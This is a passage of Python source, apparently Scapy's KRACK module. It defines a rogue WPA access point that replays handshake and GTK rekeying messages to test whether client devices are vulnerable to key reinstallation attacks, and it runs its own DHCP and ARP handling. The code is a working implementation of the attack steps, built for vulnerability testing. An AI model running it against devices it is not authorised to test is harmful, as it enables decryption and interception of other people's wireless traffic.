1*7dc08ffcSJunyu Laiimport hmac 2*7dc08ffcSJunyu Laiimport hashlib 3*7dc08ffcSJunyu Laifrom itertools import count 4*7dc08ffcSJunyu Laiimport struct 5*7dc08ffcSJunyu Laiimport time 6*7dc08ffcSJunyu Lai 7*7dc08ffcSJunyu Laifrom cryptography.hazmat.primitives import hashes 8*7dc08ffcSJunyu Laifrom cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC 9*7dc08ffcSJunyu Laifrom cryptography.hazmat.backends import default_backend 10*7dc08ffcSJunyu Lai 11*7dc08ffcSJunyu Laifrom scapy.automaton import ATMT, Automaton 12*7dc08ffcSJunyu Laifrom scapy.base_classes import Net 13*7dc08ffcSJunyu Laifrom scapy.config import conf 14*7dc08ffcSJunyu Laifrom scapy.compat import raw, hex_bytes, chb 15*7dc08ffcSJunyu Laifrom scapy.error import log_runtime 16*7dc08ffcSJunyu Laifrom scapy.layers.dot11 import RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp, \ 17*7dc08ffcSJunyu Lai Dot11Auth, Dot11Beacon, Dot11Elt, Dot11ProbeReq, Dot11ProbeResp 18*7dc08ffcSJunyu Laifrom scapy.layers.eap import EAPOL 19*7dc08ffcSJunyu Laifrom scapy.layers.l2 import ARP, LLC, SNAP, Ether 20*7dc08ffcSJunyu Laifrom scapy.layers.dhcp import DHCP_am 21*7dc08ffcSJunyu Laifrom scapy.packet import Raw 22*7dc08ffcSJunyu Laifrom scapy.utils import hexdump 23*7dc08ffcSJunyu Laifrom scapy.volatile import RandBin 24*7dc08ffcSJunyu Lai 25*7dc08ffcSJunyu Lai 26*7dc08ffcSJunyu Laifrom scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \ 27*7dc08ffcSJunyu Lai build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \ 28*7dc08ffcSJunyu Lai customPRF512, ARC4_encrypt 29*7dc08ffcSJunyu Lai 30*7dc08ffcSJunyu Lai 31*7dc08ffcSJunyu Laiclass DHCPOverWPA(DHCP_am): 32*7dc08ffcSJunyu Lai """Wrapper over DHCP_am to send and recv inside a WPA channel""" 33*7dc08ffcSJunyu Lai 34*7dc08ffcSJunyu Lai def __init__(self, send_func, *args, **kwargs): 35*7dc08ffcSJunyu Lai super(DHCPOverWPA, self).__init__(*args, **kwargs) 36*7dc08ffcSJunyu Lai self.send_function = send_func 37*7dc08ffcSJunyu Lai 38*7dc08ffcSJunyu Lai def sniff(self, *args, **kwargs): 39*7dc08ffcSJunyu Lai # Do not sniff, use a direct call to 'replay(pkt)' instead 40*7dc08ffcSJunyu Lai return 41*7dc08ffcSJunyu Lai 42*7dc08ffcSJunyu Lai 43*7dc08ffcSJunyu Laiclass KrackAP(Automaton): 44*7dc08ffcSJunyu Lai """Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in: 45*7dc08ffcSJunyu Lai "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2" 46*7dc08ffcSJunyu Lai 47*7dc08ffcSJunyu Lai Example of use: 48*7dc08ffcSJunyu Lai KrackAP( 49*7dc08ffcSJunyu Lai iface="mon0", # A monitor interface 50*7dc08ffcSJunyu Lai ap_mac='11:22:33:44:55:66', # MAC to use 51*7dc08ffcSJunyu Lai ssid="TEST_KRACK", # SSID 52*7dc08ffcSJunyu Lai passphrase="testtest", # Associated passphrase 53*7dc08ffcSJunyu Lai ).run() 54*7dc08ffcSJunyu Lai 55*7dc08ffcSJunyu Lai Then, on the target device, connect to "TEST_KRACK" using "testtest" as the 56*7dc08ffcSJunyu Lai passphrase. 57*7dc08ffcSJunyu Lai The output logs will indicate if one of the CVE have been triggered. 58*7dc08ffcSJunyu Lai """ 59*7dc08ffcSJunyu Lai 60*7dc08ffcSJunyu Lai # Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not 61*7dc08ffcSJunyu Lai # be detected the first time. Several attempt implies the client has been 62*7dc08ffcSJunyu Lai # likely patched 63*7dc08ffcSJunyu Lai ARP_MAX_RETRY = 50 64*7dc08ffcSJunyu Lai 65*7dc08ffcSJunyu Lai def __init__(self, *args, **kargs): 66*7dc08ffcSJunyu Lai kargs.setdefault("ll", conf.L2socket) 67*7dc08ffcSJunyu Lai super(KrackAP, self).__init__(*args, **kargs) 68*7dc08ffcSJunyu Lai 69*7dc08ffcSJunyu Lai def parse_args(self, ap_mac, ssid, passphrase, 70*7dc08ffcSJunyu Lai # KRACK attack options 71*7dc08ffcSJunyu Lai double_3handshake=True, 72*7dc08ffcSJunyu Lai encrypt_3handshake=True, 73*7dc08ffcSJunyu Lai wait_3handshake=0, 74*7dc08ffcSJunyu Lai double_gtk_refresh=True, 75*7dc08ffcSJunyu Lai arp_target_ip=None, 76*7dc08ffcSJunyu Lai arp_source_ip=None, 77*7dc08ffcSJunyu Lai wait_gtk=10, 78*7dc08ffcSJunyu Lai **kwargs): 79*7dc08ffcSJunyu Lai """ 80*7dc08ffcSJunyu Lai Mandatory arguments: 81*7dc08ffcSJunyu Lai @iface: interface to use (must be in monitor mode) 82*7dc08ffcSJunyu Lai @ap_mac: AP's MAC 83*7dc08ffcSJunyu Lai @ssid: AP's SSID 84*7dc08ffcSJunyu Lai @passphrase: AP's Passphrase (min 8 char.) 85*7dc08ffcSJunyu Lai 86*7dc08ffcSJunyu Lai Krack attacks options: 87*7dc08ffcSJunyu Lai 88*7dc08ffcSJunyu Lai - Msg 3/4 handshake replay: 89*7dc08ffcSJunyu Lai double_3handshake: double the 3/4 handshake message 90*7dc08ffcSJunyu Lai encrypt_3handshake: encrypt the second 3/4 handshake message 91*7dc08ffcSJunyu Lai wait_3handshake: time to wait (in sec.) before sending the second 3/4 92*7dc08ffcSJunyu Lai - double GTK rekeying: 93*7dc08ffcSJunyu Lai double_gtk_refresh: double the 1/2 GTK rekeying message 94*7dc08ffcSJunyu Lai wait_gtk: time to wait (in sec.) before sending the GTK rekeying 95*7dc08ffcSJunyu Lai arp_target_ip: Client IP to use in ARP req. (to detect attack success) 96*7dc08ffcSJunyu Lai If None, use a DHCP server 97*7dc08ffcSJunyu Lai arp_source_ip: Server IP to use in ARP req. (to detect attack success) 98*7dc08ffcSJunyu Lai If None, use the DHCP server gateway address 99*7dc08ffcSJunyu Lai """ 100*7dc08ffcSJunyu Lai super(KrackAP, self).parse_args(**kwargs) 101*7dc08ffcSJunyu Lai 102*7dc08ffcSJunyu Lai # Main AP options 103*7dc08ffcSJunyu Lai self.mac = ap_mac 104*7dc08ffcSJunyu Lai self.ssid = ssid 105*7dc08ffcSJunyu Lai self.passphrase = passphrase 106*7dc08ffcSJunyu Lai 107*7dc08ffcSJunyu Lai # Internal structures 108*7dc08ffcSJunyu Lai self.last_iv = None 109*7dc08ffcSJunyu Lai self.client = None 110*7dc08ffcSJunyu Lai self.seq_num = count() 111*7dc08ffcSJunyu Lai self.replay_counter = count() 112*7dc08ffcSJunyu Lai self.time_handshake_end = None 113*7dc08ffcSJunyu Lai self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa, 114*7dc08ffcSJunyu Lai pool=Net("192.168.42.128/25"), 115*7dc08ffcSJunyu Lai network="192.168.42.0/24", 116*7dc08ffcSJunyu Lai gw="192.168.42.1") 117*7dc08ffcSJunyu Lai self.arp_sent = [] 118*7dc08ffcSJunyu Lai self.arp_to_send = 0 119*7dc08ffcSJunyu Lai self.arp_retry = 0 120*7dc08ffcSJunyu Lai 121*7dc08ffcSJunyu Lai # Bit 0: 3way handshake sent 122*7dc08ffcSJunyu Lai # Bit 1: GTK rekeying sent 123*7dc08ffcSJunyu Lai # Bit 2: ARP response obtained 124*7dc08ffcSJunyu Lai self.krack_state = 0 125*7dc08ffcSJunyu Lai 126*7dc08ffcSJunyu Lai # Krack options 127*7dc08ffcSJunyu Lai self.double_3handshake = double_3handshake 128*7dc08ffcSJunyu Lai self.encrypt_3handshake = encrypt_3handshake 129*7dc08ffcSJunyu Lai self.wait_3handshake = wait_3handshake 130*7dc08ffcSJunyu Lai self.double_gtk_refresh = double_gtk_refresh 131*7dc08ffcSJunyu Lai self.arp_target_ip = arp_target_ip 132*7dc08ffcSJunyu Lai if arp_source_ip is None: 133*7dc08ffcSJunyu Lai # Use the DHCP server Gateway address 134*7dc08ffcSJunyu Lai arp_source_ip = self.dhcp_server.gw 135*7dc08ffcSJunyu Lai self.arp_source_ip = arp_source_ip 136*7dc08ffcSJunyu Lai self.wait_gtk = wait_gtk 137*7dc08ffcSJunyu Lai 138*7dc08ffcSJunyu Lai # May take several seconds 139*7dc08ffcSJunyu Lai self.install_PMK() 140*7dc08ffcSJunyu Lai 141*7dc08ffcSJunyu Lai def run(self, *args, **kwargs): 142*7dc08ffcSJunyu Lai log_runtime.warning("AP started with ESSID: %s, BSSID: %s", 143*7dc08ffcSJunyu Lai self.ssid, self.mac) 144*7dc08ffcSJunyu Lai super(KrackAP, self).run(*args, **kwargs) 145*7dc08ffcSJunyu Lai 146*7dc08ffcSJunyu Lai # Key utils 147*7dc08ffcSJunyu Lai 148*7dc08ffcSJunyu Lai @staticmethod 149*7dc08ffcSJunyu Lai def gen_nonce(size): 150*7dc08ffcSJunyu Lai """Return a nonce of @size element of random bytes as a string""" 151*7dc08ffcSJunyu Lai return raw(RandBin(size)) 152*7dc08ffcSJunyu Lai 153*7dc08ffcSJunyu Lai def install_PMK(self): 154*7dc08ffcSJunyu Lai """Compute and install the PMK""" 155*7dc08ffcSJunyu Lai self.pmk = PBKDF2HMAC( 156*7dc08ffcSJunyu Lai algorithm=hashes.SHA1(), 157*7dc08ffcSJunyu Lai length=32, 158*7dc08ffcSJunyu Lai salt=self.ssid, 159*7dc08ffcSJunyu Lai iterations=4096, 160*7dc08ffcSJunyu Lai backend=default_backend(), 161*7dc08ffcSJunyu Lai ).derive(self.passphrase) 162*7dc08ffcSJunyu Lai 163*7dc08ffcSJunyu Lai def install_unicast_keys(self, client_nonce): 164*7dc08ffcSJunyu Lai """Use the client nonce @client_nonce to compute and install 165*7dc08ffcSJunyu Lai PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP) 166*7dc08ffcSJunyu Lai """ 167*7dc08ffcSJunyu Lai pmk = self.pmk 168*7dc08ffcSJunyu Lai anonce = self.anonce 169*7dc08ffcSJunyu Lai snonce = client_nonce 170*7dc08ffcSJunyu Lai amac = hex_bytes(self.mac.replace(":", "")) 171*7dc08ffcSJunyu Lai smac = hex_bytes(self.client.replace(":", "")) 172*7dc08ffcSJunyu Lai 173*7dc08ffcSJunyu Lai # Compute PTK 174*7dc08ffcSJunyu Lai self.ptk = customPRF512(pmk, amac, smac, anonce, snonce) 175*7dc08ffcSJunyu Lai 176*7dc08ffcSJunyu Lai # Extract derivated keys 177*7dc08ffcSJunyu Lai self.kck = self.ptk[:16] 178*7dc08ffcSJunyu Lai self.kek = self.ptk[16:32] 179*7dc08ffcSJunyu Lai self.tk = self.ptk[32:48] 180*7dc08ffcSJunyu Lai self.mic_ap_to_sta = self.ptk[48:56] 181*7dc08ffcSJunyu Lai self.mic_sta_to_ap = self.ptk[56:64] 182*7dc08ffcSJunyu Lai 183*7dc08ffcSJunyu Lai # Reset IV 184*7dc08ffcSJunyu Lai self.client_iv = count() 185*7dc08ffcSJunyu Lai 186*7dc08ffcSJunyu Lai def install_GTK(self): 187*7dc08ffcSJunyu Lai """Compute a new GTK and install it alongs 188*7dc08ffcSJunyu Lai MIC (AP -> Group = broadcast + multicast) 189*7dc08ffcSJunyu Lai """ 190*7dc08ffcSJunyu Lai 191*7dc08ffcSJunyu Lai # Compute GTK 192*7dc08ffcSJunyu Lai self.gtk_full = self.gen_nonce(32) 193*7dc08ffcSJunyu Lai self.gtk = self.gtk_full[:16] 194*7dc08ffcSJunyu Lai 195*7dc08ffcSJunyu Lai # Extract derivated keys 196*7dc08ffcSJunyu Lai self.mic_ap_to_group = self.gtk_full[16:24] 197*7dc08ffcSJunyu Lai 198*7dc08ffcSJunyu Lai # Reset IV 199*7dc08ffcSJunyu Lai self.group_iv = count() 200*7dc08ffcSJunyu Lai 201*7dc08ffcSJunyu Lai # Packet utils 202*7dc08ffcSJunyu Lai 203*7dc08ffcSJunyu Lai def build_ap_info_pkt(self, layer_cls, dest): 204*7dc08ffcSJunyu Lai """Build a packet with info describing the current AP 205*7dc08ffcSJunyu Lai For beacon / proberesp use 206*7dc08ffcSJunyu Lai Assume the AP is on channel 6 207*7dc08ffcSJunyu Lai """ 208*7dc08ffcSJunyu Lai return RadioTap() \ 209*7dc08ffcSJunyu Lai / Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \ 210*7dc08ffcSJunyu Lai / layer_cls(timestamp=0, beacon_interval=100, 211*7dc08ffcSJunyu Lai cap='ESS+privacy') \ 212*7dc08ffcSJunyu Lai / Dot11Elt(ID="SSID", info=self.ssid) \ 213*7dc08ffcSJunyu Lai / Dot11Elt(ID="Rates", info=b'\x82\x84\x8b\x96\x0c\x12\x18$') \ 214*7dc08ffcSJunyu Lai / Dot11Elt(ID="DSset", info=b"\x06") \ 215*7dc08ffcSJunyu Lai / Dot11Elt( 216*7dc08ffcSJunyu Lai ID="RSNinfo", 217*7dc08ffcSJunyu Lai info=b'\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x02'\ 218*7dc08ffcSJunyu Lai b'\x01\x00\x00\x0f\xac\x02\x00\x00' 219*7dc08ffcSJunyu Lai ) 220*7dc08ffcSJunyu Lai 221*7dc08ffcSJunyu Lai @staticmethod 222*7dc08ffcSJunyu Lai def build_EAPOL_Key_8021X2004( 223*7dc08ffcSJunyu Lai key_information, 224*7dc08ffcSJunyu Lai replay_counter, 225*7dc08ffcSJunyu Lai nonce, 226*7dc08ffcSJunyu Lai data=None, 227*7dc08ffcSJunyu Lai key_mic=None, 228*7dc08ffcSJunyu Lai key_data_encrypt=None, 229*7dc08ffcSJunyu Lai key_rsc=0, 230*7dc08ffcSJunyu Lai key_id=0, 231*7dc08ffcSJunyu Lai key_descriptor_type=2, # EAPOL RSN Key 232*7dc08ffcSJunyu Lai ): 233*7dc08ffcSJunyu Lai pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key") 234*7dc08ffcSJunyu Lai 235*7dc08ffcSJunyu Lai key_iv = KrackAP.gen_nonce(16) 236*7dc08ffcSJunyu Lai 237*7dc08ffcSJunyu Lai assert key_rsc == 0 # Other values unsupported 238*7dc08ffcSJunyu Lai assert key_id == 0 # Other values unsupported 239*7dc08ffcSJunyu Lai payload = b"".join([ 240*7dc08ffcSJunyu Lai chb(key_descriptor_type), 241*7dc08ffcSJunyu Lai struct.pack(">H", key_information), 242*7dc08ffcSJunyu Lai b'\x00\x20', # Key length 243*7dc08ffcSJunyu Lai struct.pack(">Q", replay_counter), 244*7dc08ffcSJunyu Lai nonce, 245*7dc08ffcSJunyu Lai key_iv, 246*7dc08ffcSJunyu Lai struct.pack(">Q", key_rsc), 247*7dc08ffcSJunyu Lai struct.pack(">Q", key_id), 248*7dc08ffcSJunyu Lai ]) 249*7dc08ffcSJunyu Lai 250*7dc08ffcSJunyu Lai # MIC field is set to 0's during MIC computation 251*7dc08ffcSJunyu Lai offset_MIC = len(payload) 252*7dc08ffcSJunyu Lai payload += b'\x00' * 0x10 253*7dc08ffcSJunyu Lai 254*7dc08ffcSJunyu Lai if data is None and key_mic is None and key_data_encrypt is None: 255*7dc08ffcSJunyu Lai # If key is unknown and there is no data, no MIC is needed 256*7dc08ffcSJunyu Lai # Exemple: handshake 1/4 257*7dc08ffcSJunyu Lai payload += b'\x00' * 2 # Length 258*7dc08ffcSJunyu Lai return pkt / Raw(load=payload) 259*7dc08ffcSJunyu Lai 260*7dc08ffcSJunyu Lai assert data is not None 261*7dc08ffcSJunyu Lai assert key_mic is not None 262*7dc08ffcSJunyu Lai assert key_data_encrypt is not None 263*7dc08ffcSJunyu Lai 264*7dc08ffcSJunyu Lai # Skip 256 first bytes 265*7dc08ffcSJunyu Lai # REF: 802.11i 8.5.2 266*7dc08ffcSJunyu Lai # Key Descriptor Version 1: 267*7dc08ffcSJunyu Lai # ... 268*7dc08ffcSJunyu Lai # No padding shall be used. The encryption key is generated by 269*7dc08ffcSJunyu Lai # concatenating the EAPOL-Key IV field and the KEK. The first 256 octets 270*7dc08ffcSJunyu Lai # of the RC4 key stream shall be discarded following RC4 stream cipher 271*7dc08ffcSJunyu Lai # initialization with the KEK, and encryption begins using the 257th key 272*7dc08ffcSJunyu Lai # stream octet. 273*7dc08ffcSJunyu Lai enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256) 274*7dc08ffcSJunyu Lai 275*7dc08ffcSJunyu Lai payload += struct.pack(">H", len(data)) 276*7dc08ffcSJunyu Lai payload += enc_data 277*7dc08ffcSJunyu Lai 278*7dc08ffcSJunyu Lai # Compute MIC and set at the right place 279*7dc08ffcSJunyu Lai temp_mic = pkt.copy() 280*7dc08ffcSJunyu Lai temp_mic /= Raw(load=payload) 281*7dc08ffcSJunyu Lai to_mic = raw(temp_mic[EAPOL]) 282*7dc08ffcSJunyu Lai mic = hmac.new(key_mic, to_mic, hashlib.md5).digest() 283*7dc08ffcSJunyu Lai final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):] 284*7dc08ffcSJunyu Lai assert len(final_payload) == len(payload) 285*7dc08ffcSJunyu Lai 286*7dc08ffcSJunyu Lai return pkt / Raw(load=final_payload) 287*7dc08ffcSJunyu Lai 288*7dc08ffcSJunyu Lai def build_GTK_KDE(self): 289*7dc08ffcSJunyu Lai """Build the Key Data Encapsulation for GTK 290*7dc08ffcSJunyu Lai KeyID: 0 291*7dc08ffcSJunyu Lai Ref: 802.11i p81 292*7dc08ffcSJunyu Lai """ 293*7dc08ffcSJunyu Lai return b''.join([ 294*7dc08ffcSJunyu Lai b'\xdd', # Type KDE 295*7dc08ffcSJunyu Lai chb(len(self.gtk_full) + 6), 296*7dc08ffcSJunyu Lai b'\x00\x0f\xac', # OUI 297*7dc08ffcSJunyu Lai b'\x01', # GTK KDE 298*7dc08ffcSJunyu Lai b'\x00\x00', # KeyID - Tx - Reserved x2 299*7dc08ffcSJunyu Lai self.gtk_full, 300*7dc08ffcSJunyu Lai ]) 301*7dc08ffcSJunyu Lai 302*7dc08ffcSJunyu Lai def send_wpa_enc(self, data, iv, seqnum, dest, mic_key, 303*7dc08ffcSJunyu Lai key_idx=0, additionnal_flag=["from-DS"], 304*7dc08ffcSJunyu Lai encrypt_key=None): 305*7dc08ffcSJunyu Lai """Send an encrypted packet with content @data, using IV @iv, 306*7dc08ffcSJunyu Lai sequence number @seqnum, MIC key @mic_key 307*7dc08ffcSJunyu Lai """ 308*7dc08ffcSJunyu Lai 309*7dc08ffcSJunyu Lai if encrypt_key is None: 310*7dc08ffcSJunyu Lai encrypt_key = self.tk 311*7dc08ffcSJunyu Lai 312*7dc08ffcSJunyu Lai rep = RadioTap() 313*7dc08ffcSJunyu Lai rep /= Dot11( 314*7dc08ffcSJunyu Lai addr1=dest, 315*7dc08ffcSJunyu Lai addr2=self.mac, 316*7dc08ffcSJunyu Lai addr3=self.mac, 317*7dc08ffcSJunyu Lai FCfield="+".join(['wep'] + additionnal_flag), 318*7dc08ffcSJunyu Lai SC=(next(self.seq_num) << 4), 319*7dc08ffcSJunyu Lai subtype=0, 320*7dc08ffcSJunyu Lai type="Data", 321*7dc08ffcSJunyu Lai ) 322*7dc08ffcSJunyu Lai 323*7dc08ffcSJunyu Lai # Assume packet is send by our AP -> use self.mac as source 324*7dc08ffcSJunyu Lai 325*7dc08ffcSJunyu Lai # Encapsule in TKIP with MIC Michael and ICV 326*7dc08ffcSJunyu Lai data_to_enc = build_MIC_ICV(raw(data), mic_key, self.mac, dest) 327*7dc08ffcSJunyu Lai 328*7dc08ffcSJunyu Lai # Header TKIP + payload 329*7dc08ffcSJunyu Lai rep /= Raw(build_TKIP_payload(data_to_enc, iv, self.mac, encrypt_key)) 330*7dc08ffcSJunyu Lai 331*7dc08ffcSJunyu Lai self.send(rep) 332*7dc08ffcSJunyu Lai return rep 333*7dc08ffcSJunyu Lai 334*7dc08ffcSJunyu Lai def send_wpa_to_client(self, data, **kwargs): 335*7dc08ffcSJunyu Lai kwargs.setdefault("encrypt_key", self.tk) 336*7dc08ffcSJunyu Lai return self.send_wpa_enc(data, next(self.client_iv), 337*7dc08ffcSJunyu Lai next(self.seq_num), self.client, 338*7dc08ffcSJunyu Lai self.mic_ap_to_sta, **kwargs) 339*7dc08ffcSJunyu Lai 340*7dc08ffcSJunyu Lai def send_wpa_to_group(self, data, dest="ff:ff:ff:ff:ff:ff", **kwargs): 341*7dc08ffcSJunyu Lai kwargs.setdefault("encrypt_key", self.gtk) 342*7dc08ffcSJunyu Lai return self.send_wpa_enc(data, next(self.group_iv), 343*7dc08ffcSJunyu Lai next(self.seq_num), dest, 344*7dc08ffcSJunyu Lai self.mic_ap_to_group, **kwargs) 345*7dc08ffcSJunyu Lai 346*7dc08ffcSJunyu Lai def send_ether_over_wpa(self, pkt, **kwargs): 347*7dc08ffcSJunyu Lai """Send an Ethernet packet using the WPA channel 348*7dc08ffcSJunyu Lai Extra arguments will be ignored, and are just left for compatibiliy 349*7dc08ffcSJunyu Lai """ 350*7dc08ffcSJunyu Lai 351*7dc08ffcSJunyu Lai payload = LLC()/SNAP()/pkt[Ether].payload 352*7dc08ffcSJunyu Lai dest = pkt.dst 353*7dc08ffcSJunyu Lai if dest == "ff:ff:ff:ff:ff:ff": 354*7dc08ffcSJunyu Lai self.send_wpa_to_group(payload, dest) 355*7dc08ffcSJunyu Lai else: 356*7dc08ffcSJunyu Lai assert dest == self.client 357*7dc08ffcSJunyu Lai self.send_wpa_to_client(payload) 358*7dc08ffcSJunyu Lai 359*7dc08ffcSJunyu Lai def deal_common_pkt(self, pkt): 360*7dc08ffcSJunyu Lai # Send to DHCP server 361*7dc08ffcSJunyu Lai # LLC / SNAP to Ether 362*7dc08ffcSJunyu Lai if SNAP in pkt: 363*7dc08ffcSJunyu Lai ether_pkt = Ether(src=self.client,dst=self.mac) / pkt[SNAP].payload 364*7dc08ffcSJunyu Lai self.dhcp_server.reply(ether_pkt) 365*7dc08ffcSJunyu Lai 366*7dc08ffcSJunyu Lai # If an ARP request is made, extract client IP and answer 367*7dc08ffcSJunyu Lai if ARP in pkt and \ 368*7dc08ffcSJunyu Lai pkt[ARP].op == 1 and pkt[ARP].pdst == self.dhcp_server.gw: 369*7dc08ffcSJunyu Lai if self.arp_target_ip is None: 370*7dc08ffcSJunyu Lai self.arp_target_ip = pkt[ARP].psrc 371*7dc08ffcSJunyu Lai log_runtime.info("Detected IP: %s", self.arp_target_ip) 372*7dc08ffcSJunyu Lai 373*7dc08ffcSJunyu Lai # Reply 374*7dc08ffcSJunyu Lai ARP_ans = LLC()/SNAP()/ARP( 375*7dc08ffcSJunyu Lai op="is-at", 376*7dc08ffcSJunyu Lai psrc=self.arp_source_ip, 377*7dc08ffcSJunyu Lai pdst=self.arp_target_ip, 378*7dc08ffcSJunyu Lai hwsrc=self.mac, 379*7dc08ffcSJunyu Lai hwdst=self.client, 380*7dc08ffcSJunyu Lai ) 381*7dc08ffcSJunyu Lai self.send_wpa_to_client(ARP_ans) 382*7dc08ffcSJunyu Lai 383*7dc08ffcSJunyu Lai # States 384*7dc08ffcSJunyu Lai 385*7dc08ffcSJunyu Lai @ATMT.state(initial=True) 386*7dc08ffcSJunyu Lai def WAIT_AUTH_REQUEST(self): 387*7dc08ffcSJunyu Lai log_runtime.debug("State WAIT_AUTH_REQUEST") 388*7dc08ffcSJunyu Lai 389*7dc08ffcSJunyu Lai @ATMT.state() 390*7dc08ffcSJunyu Lai def AUTH_RESPONSE_SENT(self): 391*7dc08ffcSJunyu Lai log_runtime.debug("State AUTH_RESPONSE_SENT") 392*7dc08ffcSJunyu Lai 393*7dc08ffcSJunyu Lai @ATMT.state() 394*7dc08ffcSJunyu Lai def ASSOC_RESPONSE_SENT(self): 395*7dc08ffcSJunyu Lai log_runtime.debug("State ASSOC_RESPONSE_SENT") 396*7dc08ffcSJunyu Lai 397*7dc08ffcSJunyu Lai @ATMT.state() 398*7dc08ffcSJunyu Lai def WPA_HANDSHAKE_STEP_1_SENT(self): 399*7dc08ffcSJunyu Lai log_runtime.debug("State WPA_HANDSHAKE_STEP_1_SENT") 400*7dc08ffcSJunyu Lai 401*7dc08ffcSJunyu Lai @ATMT.state() 402*7dc08ffcSJunyu Lai def WPA_HANDSHAKE_STEP_3_SENT(self): 403*7dc08ffcSJunyu Lai log_runtime.debug("State WPA_HANDSHAKE_STEP_3_SENT") 404*7dc08ffcSJunyu Lai 405*7dc08ffcSJunyu Lai @ATMT.state() 406*7dc08ffcSJunyu Lai def KRACK_DISPATCHER(self): 407*7dc08ffcSJunyu Lai log_runtime.debug("State KRACK_DISPATCHER") 408*7dc08ffcSJunyu Lai 409*7dc08ffcSJunyu Lai @ATMT.state() 410*7dc08ffcSJunyu Lai def ANALYZE_DATA(self): 411*7dc08ffcSJunyu Lai log_runtime.debug("State ANALYZE_DATA") 412*7dc08ffcSJunyu Lai 413*7dc08ffcSJunyu Lai @ATMT.timeout(ANALYZE_DATA, 1) 414*7dc08ffcSJunyu Lai def timeout_analyze_data(self): 415*7dc08ffcSJunyu Lai raise self.KRACK_DISPATCHER() 416*7dc08ffcSJunyu Lai 417*7dc08ffcSJunyu Lai @ATMT.state() 418*7dc08ffcSJunyu Lai def RENEW_GTK(self): 419*7dc08ffcSJunyu Lai log_runtime.debug("State RENEW_GTK") 420*7dc08ffcSJunyu Lai 421*7dc08ffcSJunyu Lai @ATMT.state() 422*7dc08ffcSJunyu Lai def WAIT_GTK_ACCEPT(self): 423*7dc08ffcSJunyu Lai log_runtime.debug("State WAIT_GTK_ACCEPT") 424*7dc08ffcSJunyu Lai 425*7dc08ffcSJunyu Lai @ATMT.state() 426*7dc08ffcSJunyu Lai def WAIT_ARP_REPLIES(self): 427*7dc08ffcSJunyu Lai log_runtime.debug("State WAIT_ARP_REPLIES") 428*7dc08ffcSJunyu Lai 429*7dc08ffcSJunyu Lai @ATMT.state(final=1) 430*7dc08ffcSJunyu Lai def EXIT(self): 431*7dc08ffcSJunyu Lai log_runtime.debug("State EXIT") 432*7dc08ffcSJunyu Lai 433*7dc08ffcSJunyu Lai @ATMT.timeout(WAIT_GTK_ACCEPT, 1) 434*7dc08ffcSJunyu Lai def timeout_wait_gtk_accept(self): 435*7dc08ffcSJunyu Lai raise self.RENEW_GTK() 436*7dc08ffcSJunyu Lai 437*7dc08ffcSJunyu Lai @ATMT.timeout(WAIT_AUTH_REQUEST, 0.1) 438*7dc08ffcSJunyu Lai def timeout_waiting(self): 439*7dc08ffcSJunyu Lai raise self.WAIT_AUTH_REQUEST() 440*7dc08ffcSJunyu Lai 441*7dc08ffcSJunyu Lai @ATMT.action(timeout_waiting) 442*7dc08ffcSJunyu Lai def send_beacon(self): 443*7dc08ffcSJunyu Lai log_runtime.debug("Send a beacon") 444*7dc08ffcSJunyu Lai rep = self.build_ap_info_pkt(Dot11Beacon, dest="ff:ff:ff:ff:ff:ff") 445*7dc08ffcSJunyu Lai self.send(rep) 446*7dc08ffcSJunyu Lai 447*7dc08ffcSJunyu Lai @ATMT.receive_condition(WAIT_AUTH_REQUEST) 448*7dc08ffcSJunyu Lai def probe_request_received(self, pkt): 449*7dc08ffcSJunyu Lai # Avoid packet from other interfaces 450*7dc08ffcSJunyu Lai if not RadioTap in pkt: 451*7dc08ffcSJunyu Lai return 452*7dc08ffcSJunyu Lai if Dot11ProbeReq in pkt and pkt[Dot11Elt::{'ID': 0}].info == self.ssid: 453*7dc08ffcSJunyu Lai raise self.WAIT_AUTH_REQUEST().action_parameters(pkt) 454*7dc08ffcSJunyu Lai 455*7dc08ffcSJunyu Lai @ATMT.action(probe_request_received) 456*7dc08ffcSJunyu Lai def send_probe_response(self, pkt): 457*7dc08ffcSJunyu Lai rep = self.build_ap_info_pkt(Dot11ProbeResp, dest=pkt.addr2) 458*7dc08ffcSJunyu Lai self.send(rep) 459*7dc08ffcSJunyu Lai 460*7dc08ffcSJunyu Lai @ATMT.receive_condition(WAIT_AUTH_REQUEST) 461*7dc08ffcSJunyu Lai def authent_received(self, pkt): 462*7dc08ffcSJunyu Lai # Avoid packet from other interfaces 463*7dc08ffcSJunyu Lai if not RadioTap in pkt: 464*7dc08ffcSJunyu Lai return 465*7dc08ffcSJunyu Lai if Dot11Auth in pkt and pkt.addr1 == pkt.addr3 == self.mac: 466*7dc08ffcSJunyu Lai raise self.AUTH_RESPONSE_SENT().action_parameters(pkt) 467*7dc08ffcSJunyu Lai 468*7dc08ffcSJunyu Lai @ATMT.action(authent_received) 469*7dc08ffcSJunyu Lai def send_auth_response(self, pkt): 470*7dc08ffcSJunyu Lai 471*7dc08ffcSJunyu Lai # Save client MAC for later 472*7dc08ffcSJunyu Lai self.client = pkt.addr2 473*7dc08ffcSJunyu Lai log_runtime.warning("Client %s connected!", self.client) 474*7dc08ffcSJunyu Lai 475*7dc08ffcSJunyu Lai # Launch DHCP Server 476*7dc08ffcSJunyu Lai self.dhcp_server.run() 477*7dc08ffcSJunyu Lai 478*7dc08ffcSJunyu Lai rep = RadioTap() 479*7dc08ffcSJunyu Lai rep /= Dot11(addr1=self.client, addr2=self.mac, addr3=self.mac) 480*7dc08ffcSJunyu Lai rep /= Dot11Auth(seqnum=2, algo=pkt[Dot11Auth].algo, 481*7dc08ffcSJunyu Lai status=pkt[Dot11Auth].status) 482*7dc08ffcSJunyu Lai 483*7dc08ffcSJunyu Lai self.send(rep) 484*7dc08ffcSJunyu Lai 485*7dc08ffcSJunyu Lai 